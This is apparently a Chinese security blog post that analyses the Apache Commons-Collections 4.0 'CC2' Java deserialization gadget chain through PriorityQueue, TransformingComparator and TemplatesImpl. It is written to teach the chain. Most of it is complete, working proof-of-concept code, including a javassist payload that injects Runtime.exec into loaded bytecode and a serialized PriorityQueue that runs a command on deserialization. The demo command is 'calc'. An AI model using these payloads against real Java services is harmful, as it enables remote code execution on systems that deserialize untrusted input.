前面分析了CC1的利用链,但是在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler
来构造,而是使用 javassist
和PriorityQueue
来构造利用链。
CC2链中使用的是commons-collections-4.0
版本,但是CC1在commons-collections-4.0
版本中其实能使用,但是commons-collections-4.0
版本删除了lazyMap
的decode
方法,这时候我们可以使用lazyMap
方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.0
3.2.1-3.1版本不能去使用,使用的是commons-collections-4.0
4.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
前置知识 PriorityQueue PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。
因此,放入PriorityQueue的元素,需要实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。 PriorityQueue 支持反序列化,在重写的 readObject 方法中,将数据反序列化到 queue
中之后,会调用 heapify()
方法来对数据进行排序。heapify()
方法调用 siftDown()
方法,在 comparator 属性不为空的情况下,调用 siftDownUsingComparator()
方法
在 siftDownUsingComparator()
方法中,会调用 comparator 的 compare()
方法来进行优先级的比较和排序。这样,反序列化之后的优先级队列,也拥有了顺序。
后面会提
TransformingComparator 是触发这个漏洞的一个关键点,他将 Transformer 执行点和 PriorityQueue 触发点连接了起来。
TransformingComparator 看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 Tranformer 转换,再传递给 Comparator 比较。
TransformingComparator 初始化时配置 Transformer 和 Comparator,如果不指定 Comparator,则使用 ComparableComparator.<Comparable>comparableComparator()
。
在调用 TransformingComparator 的 compare
方法时,可以看到调用了 this.transformer.transform()
方法对要比较的两个值进行转换,然后再调用 compare 方法比较。
动态加载字节码 看之前写的
javassit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import javassist.*;public class javassit_test { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Person" ); CtField param = new CtField (pool.get("java.lang.String" ), "name" , cc); param.setModifiers(Modifier.PRIVATE); cc.addField(param, CtField.Initializer.constant("xiaoming" )); cc.addMethod(CtNewMethod.setter("setName" , param)); cc.addMethod(CtNewMethod.getter("getName" , param)); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{name = \"xiaohong\";}" ); cc.addConstructor(cons); cons = new CtConstructor (new CtClass []{pool.get("java.lang.String" )}, cc); cons.setBody("{$0.name = $1;}" ); cc.addConstructor(cons); CtMethod ctMethod = new CtMethod (CtClass.voidType, "printName" , new CtClass []{}, cc); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}" ); cc.addMethod(ctMethod); ctMethod.insertBefore("" ); ctMethod.insertAfter("" ); ctMethod.insertAt(10 , "" ); cc.writeFile("./" ); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
创造了个类
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses(): newInstance() Runtime.exec()
利用链分析 后半段链和cc1差不多,所以这里可以正向分析,从readObject来学习整条链。
PriorityQueue#readObject:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
这里的queue[i]的值是由readObject得到的,也就是说在writeObject处写入了对应的内容:
1 2 3 4 5 6 7 8 9 10 11 12 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException{ s.defaultWriteObject(); s.writeInt(Math.max(2 , size + 1 )); for (int i = 0 ; i < size; i++) s.writeObject(queue[i]); }
也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。
在readObject处调用了heapify:
这里的queue[i]是我们可控的。
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
跟进siftdown
1 2 3 4 5 6 7 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
这里的x是我们可控的,跟入第一个siftDownUsingComparator:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
重点:
1 2 comparator.compare(x, (E) c)
这里的x是我们可控的,cc2中使用了TransformingComparator#compare来触发后续链,看一下这个方法:
可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。
从上图可以看出,this.transformer并没有被transient修饰,而且还可以用public构造方法构造,所以是我们可控的。
构造POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;public class cc2 { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer (new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object []{"calc" })}); TransformingComparator comparator = new TransformingComparator (chain); PriorityQueue queue = new PriorityQueue (1 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc2.txt" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc2.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
这个poc延用了cc1的后半段链,直接在最后触发了ChainedTransformer#transform方法导致rce。但是cc2在yso中的poc并不是这个,而是用到了一个新的点TemplatesImpl。等会分析
1.为什么这里要put两个值进去?
这里往queue中put两个值,是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中,完成后面的链。
2.这里为什么要在add之后才通过反射修改comparator的值?
1 2 3 public boolean add (E e) { return offer(e); }
add调用了offer方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
offer方法中调用了siftUp方法:
这里需要保证comparator的值为null,才能够正常的添加元素进queue,如果我们在add之前使comparator为我们构造好的TransformingComparator,就会报这么一个错误:
1 2 3 4 5 6 7 8 因为在写入的时候就会跳计算器了但是因为 O value1 = this .transformer.transform(obj1); 就会调用cc1方法弹计算器了 O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2);这里进去 public int compare (E obj1, E obj2) { return obj1.compareTo(obj2); }因为我们执行了方法里面没有compareTo了 没有就会普通的比较1 ,2 的大小
我们回过头来看看javassit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import javassist.*;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;public class javassit_test { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Cat" ); String cmd = "System.out.println(\"evil code\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{}" ); cc.addConstructor(cons); cc.writeFile(); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } }
上面这段代码中生成的class是这样的:
这里的static语句块会在创建类实例的时候执行。
然后要TemplatesImpl这个类,实列化就行了
Demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import javassist.*;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.ClassLoader;import java.lang.reflect.Field;public class javassit_test { public static void createPseson () throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "baicnay" ); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); } public static void main (String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
此时已经可以成功执行命令了,接下来就是需要找到一个点调用了newTransformer这个方法。
前面说了,我们已经可以执行到transform方法了,那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer,达到命令执行的目的。
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;public class cc2 { public static void main (String[] args) throws Exception { Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" ); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (1 ); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); Object[] queue_array = new Object []{templates,1 }; Field queue_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" ); queue_field.setAccessible(true ); queue_field.set(queue,queue_array); Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); size.setAccessible(true ); size.set(queue,2 ); Field comparator_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparator_field.setAccessible(true ); comparator_field.set(queue,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc2.txt" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc2.txt" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
为什么之前那个条件有个不需要加了因为在readObject里面
1 _tfactory = new TransformerFactoryImpl ();
为什么要修改queue数组的第一个值为TemplatesImpl?
是因为在调用compare方法的时候,传递了一个obj1进去:
通过cc1的学习我们知道,InvokerTransformer调用方法是基于你传递进来的类来进行调用的,所以这里的obj1需要设置为TemplatesImpl,而这个obj1是从这里来的,(所以最后调用了method.invoke(obj, this.iArgs);)
所以我们需要控制这个c,而这个c是从queue中取出来的,所以在这里我们需要设置queue中第一个值为TemplatesImpl,为什么不能设置为第二个呢?是因为调用compare时,会先对第一个进行调用,如果我们设置TemplatesImpl在第二个位置,则会报出1没有newTransformer方法的错误:
为什么要通过反射的方式修改size?
这个在前面说过了,size必须要大于2,而我们这里并没有调用put方法,所以size默认是为0的,当然还有一种办法,就是先调用两次put,put正常的值进,再修改queue数组,这两种办法的实现原理是一样的。
这里我觉得非常巧妙
1 2 3 Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ).getDeclaredConstructor(String.class);constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" );
正好通过反射让 后面的2个参数全为null了
1 2 Class<?>[] paramTypes, Object[] args 所以在method.invoke(input, this .iArgs);这里的时候正好是impl.newTransformer()了
依赖版本 commons-collections : 4.0